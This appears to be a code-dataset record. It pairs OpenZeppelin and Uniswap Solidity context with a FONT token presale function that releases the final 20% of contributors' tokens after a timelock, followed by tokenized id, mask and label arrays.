* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.7.3;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.7.3;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function createPair(address tokenA, address tokenB) external returns (address pair);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
|
Let any one call final 20% of distribution@done Transfer the $FONTs to the beneficiary
|
function distributeTokensRoundThree() external nonReentrant{
require(liquidityAdded, "Add Uni Liquidity");
require(isFontDistributedR2, "Do Round 2");
require(block.timestamp >= roundThreeUnlockTime, "Timelocked");
require(!isFontDistributedR3, "Round 3 done");
for (uint i=0; i<contributors.length; i++) {
if(fontHolding[contributors[i]] > 0) {
uint256 tokenAmount_ = fontBought[contributors[i]];
tokenAmount_ = tokenAmount_.mul(UNLOCK_PERCENT_PRESALE_FINAL).div(100);
fontHolding[contributors[i]] = fontHolding[contributors[i]].sub(tokenAmount_);
FONT_ERC20.safeTransfer(contributors[i], tokenAmount_);
tokensWithdrawn = tokensWithdrawn.add(tokenAmount_);
}
}
isFontDistributedR3 = true;
}
| 10,402,320 |
[
1,
4625,
348,
7953,
560,
30,
10559,
1281,
1245,
745,
727,
4200,
9,
434,
7006,
36,
8734,
12279,
326,
271,
25221,
87,
358,
326,
27641,
74,
14463,
814,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
25722,
5157,
11066,
28019,
1435,
3903,
1661,
426,
8230,
970,
95,
203,
3639,
2583,
12,
549,
372,
24237,
8602,
16,
315,
986,
1351,
77,
511,
18988,
24237,
8863,
7010,
3639,
2583,
12,
291,
5711,
1669,
11050,
54,
22,
16,
315,
3244,
11370,
576,
8863,
203,
3639,
2583,
12,
2629,
18,
5508,
1545,
3643,
28019,
7087,
950,
16,
315,
10178,
292,
975,
329,
8863,
203,
3639,
2583,
12,
5,
291,
5711,
1669,
11050,
54,
23,
16,
315,
11066,
890,
2731,
8863,
203,
203,
3639,
364,
261,
11890,
277,
33,
20,
31,
277,
32,
26930,
13595,
18,
2469,
31,
277,
27245,
288,
203,
5411,
309,
12,
5776,
20586,
310,
63,
26930,
13595,
63,
77,
13563,
405,
374,
13,
288,
203,
7734,
2254,
5034,
1147,
6275,
67,
273,
3512,
13809,
9540,
63,
26930,
13595,
63,
77,
13563,
31,
203,
7734,
1147,
6275,
67,
273,
1147,
6275,
27799,
16411,
12,
2124,
6589,
67,
3194,
19666,
67,
3670,
5233,
900,
67,
7263,
1013,
2934,
2892,
12,
6625,
1769,
203,
7734,
3512,
20586,
310,
63,
26930,
13595,
63,
77,
13563,
273,
3512,
20586,
310,
63,
26930,
13595,
63,
77,
65,
8009,
1717,
12,
2316,
6275,
67,
1769,
203,
7734,
27104,
67,
654,
39,
3462,
18,
4626,
5912,
12,
26930,
13595,
63,
77,
6487,
1147,
6275,
67,
1769,
203,
7734,
2430,
1190,
9446,
82,
273,
2430,
1190,
9446,
82,
18,
1289,
12,
2316,
6275,
67,
1769,
203,
5411,
289,
203,
3639,
289,
203,
3639,
353,
5711,
1669,
11050,
54,
23,
273,
638,
31,
203,
565,
289,
203,
377,
203,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
